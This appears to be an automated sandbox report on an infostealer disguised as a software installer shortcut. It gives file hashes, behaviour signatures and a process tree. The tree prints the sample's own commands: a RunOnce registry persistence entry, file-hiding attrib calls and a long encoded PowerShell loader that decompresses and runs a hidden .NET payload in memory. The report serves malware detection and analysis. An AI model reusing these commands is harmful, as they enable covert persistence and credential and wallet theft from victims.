Analysis
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max time kernel
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max time network
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platform
windows10-2004_x64 -
resource
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resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
22-03-2023 02:52
Static task
static1
Behavioral task
behavioral1
Sample
pcworldx64installer/Setup_x64.exe.lnk
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
pcworldx64installer/Setup_x64.exe.lnk
Resource
win10v2004-20230220-en
General
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Target
pcworldx64installer/Setup_x64.exe.lnk
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Size
1KB
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MD5
b1b6eb2189e0f3d7ecfea63baafca452
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SHA1
af279896cf4ec2c487e5599759cee19bdd0d84b6
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SHA256
0bbeb529931ee10f4cde96b33689c45b0406b3b33a55d4a0341fac2e67749b55
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SHA512
b1dbf2144f13d08b7a62a7fc24681f6c8c324b56eb4048da64836ab2d83efed80c80acc9f06e44de02ddcdb31a4eefa9f244447b128d1d73cacf583eb17f66a2
Malware Config
Signatures
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Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exeparticovl.bat.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation particovl.bat.exe -
Executes dropped EXE 3 IoCs
Processes:
particovl.bat.exeparticovl.bat.exeparticovl.bat.exepid process 1908 particovl.bat.exe 4704 particovl.bat.exe 1972 particovl.bat.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Adds Run key to start application 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\particovl = "C:\\Users\\Admin\\AppData\\Roaming\\particovl.bat" reg.exe Key created \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce reg.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
particovl.bat.exedescription pid process target process PID 1908 set thread context of 1972 1908 particovl.bat.exe particovl.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
particovl.bat.exepowershell.exepid process 1908 particovl.bat.exe 1908 particovl.bat.exe 1828 powershell.exe 1828 powershell.exe 1828 powershell.exe 1908 particovl.bat.exe 1908 particovl.bat.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
particovl.bat.exepowershell.exedescription pid process Token: SeDebugPrivilege 1908 particovl.bat.exe Token: SeDebugPrivilege 1828 powershell.exe -
Suspicious use of WriteProcessMemory 31 IoCs
Processes:
cmd.execmd.execmd.execmd.exeparticovl.bat.exedescription pid process target process PID 4424 wrote to memory of 3756 4424 cmd.exe cmd.exe PID 4424 wrote to memory of 3756 4424 cmd.exe cmd.exe PID 3756 wrote to memory of 372 3756 cmd.exe cmd.exe PID 3756 wrote to memory of 372 3756 cmd.exe cmd.exe PID 372 wrote to memory of 4612 372 cmd.exe cmd.exe PID 372 wrote to memory of 4612 372 cmd.exe cmd.exe PID 4612 wrote to memory of 4672 4612 cmd.exe reg.exe PID 4612 wrote to memory of 4672 4612 cmd.exe reg.exe PID 4612 wrote to memory of 4668 4612 cmd.exe attrib.exe PID 4612 wrote to memory of 4668 4612 cmd.exe attrib.exe PID 4612 wrote to memory of 1908 4612 cmd.exe particovl.bat.exe PID 4612 wrote to memory of 1908 4612 cmd.exe particovl.bat.exe PID 4612 wrote to memory of 1908 4612 cmd.exe particovl.bat.exe PID 1908 wrote to memory of 1828 1908 particovl.bat.exe powershell.exe PID 1908 wrote to memory of 1828 1908 particovl.bat.exe powershell.exe PID 1908 wrote to memory of 1828 1908 particovl.bat.exe powershell.exe PID 1908 wrote to memory of 4704 1908 particovl.bat.exe particovl.bat.exe PID 1908 wrote to memory of 4704 1908 particovl.bat.exe particovl.bat.exe PID 1908 wrote to memory of 4704 1908 particovl.bat.exe particovl.bat.exe PID 1908 wrote to memory of 1972 1908 particovl.bat.exe particovl.bat.exe PID 1908 wrote to memory of 1972 1908 particovl.bat.exe particovl.bat.exe PID 1908 wrote to memory of 1972 1908 particovl.bat.exe particovl.bat.exe PID 1908 wrote to memory of 1972 1908 particovl.bat.exe particovl.bat.exe PID 1908 wrote to memory of 1972 1908 particovl.bat.exe particovl.bat.exe PID 1908 wrote to memory of 1972 1908 particovl.bat.exe particovl.bat.exe PID 1908 wrote to memory of 1972 1908 particovl.bat.exe particovl.bat.exe PID 1908 wrote to memory of 1972 1908 particovl.bat.exe particovl.bat.exe PID 1908 wrote to memory of 1972 1908 particovl.bat.exe particovl.bat.exe PID 1908 wrote to memory of 1972 1908 particovl.bat.exe particovl.bat.exe PID 4612 wrote to memory of 3532 4612 cmd.exe attrib.exe PID 4612 wrote to memory of 3532 4612 cmd.exe attrib.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 4668 attrib.exe 3532 attrib.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\Setup_x64.exe.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4424 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /T:84 /C start "Starting Installation..." /B "%CD%\README.md\entry.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3756 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\entry.bat"3⤵
- Suspicious use of WriteProcessMemory
PID:372 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat"4⤵
- Suspicious use of WriteProcessMemory
PID:4612 -
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v particovl /d "C:\Users\Admin\AppData\Roaming\particovl.bat"5⤵
- Adds Run key to start application
PID:4672
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C:\Windows\system32\attrib.exeattrib +s +h C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe5⤵
- Sets file to hidden
- Views/modifies file attributes
PID:4668
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C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exeC:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgABmVKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAZlScAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1828
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C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exeC:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe6⤵
- Executes dropped EXE
PID:4704
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C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exeC:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe6⤵
- Executes dropped EXE
PID:1972
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C:\Windows\system32\attrib.exeattrib -s -h C:\Users\Admin\AppData\Local\Temp\pcworldx64installer\README.md\inst\particovl.bat.exe5⤵
- Views/modifies file attributes
PID:3532
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Network
MITRE ATT&CK Enterprise v6
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Downloads
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Filesize
53KB
MD506ad34f9739c5159b4d92d702545bd49
SHA19152a0d4f153f3f40f7e606be75f81b582ee0c17
SHA256474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba
SHA512c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92
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Filesize
19KB
MD5aab2140164bbf4ec8b3f1090c5d961c1
SHA11e35a80c641afa95c321c6a5c4b2cea5531221a5
SHA256a32a6bb39a92d44e228fb8bfdc7c85c86acaa49a8dfbe2d1e69324184ff9fca6
SHA512b7b290c4a6a22faa74d2088e64f0933e07cd9b1e01c82b1d755f18db0098fe8d32eb46495245a84f135eb571530fef9bb2864aa90fa4a743aa594133be03525a
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc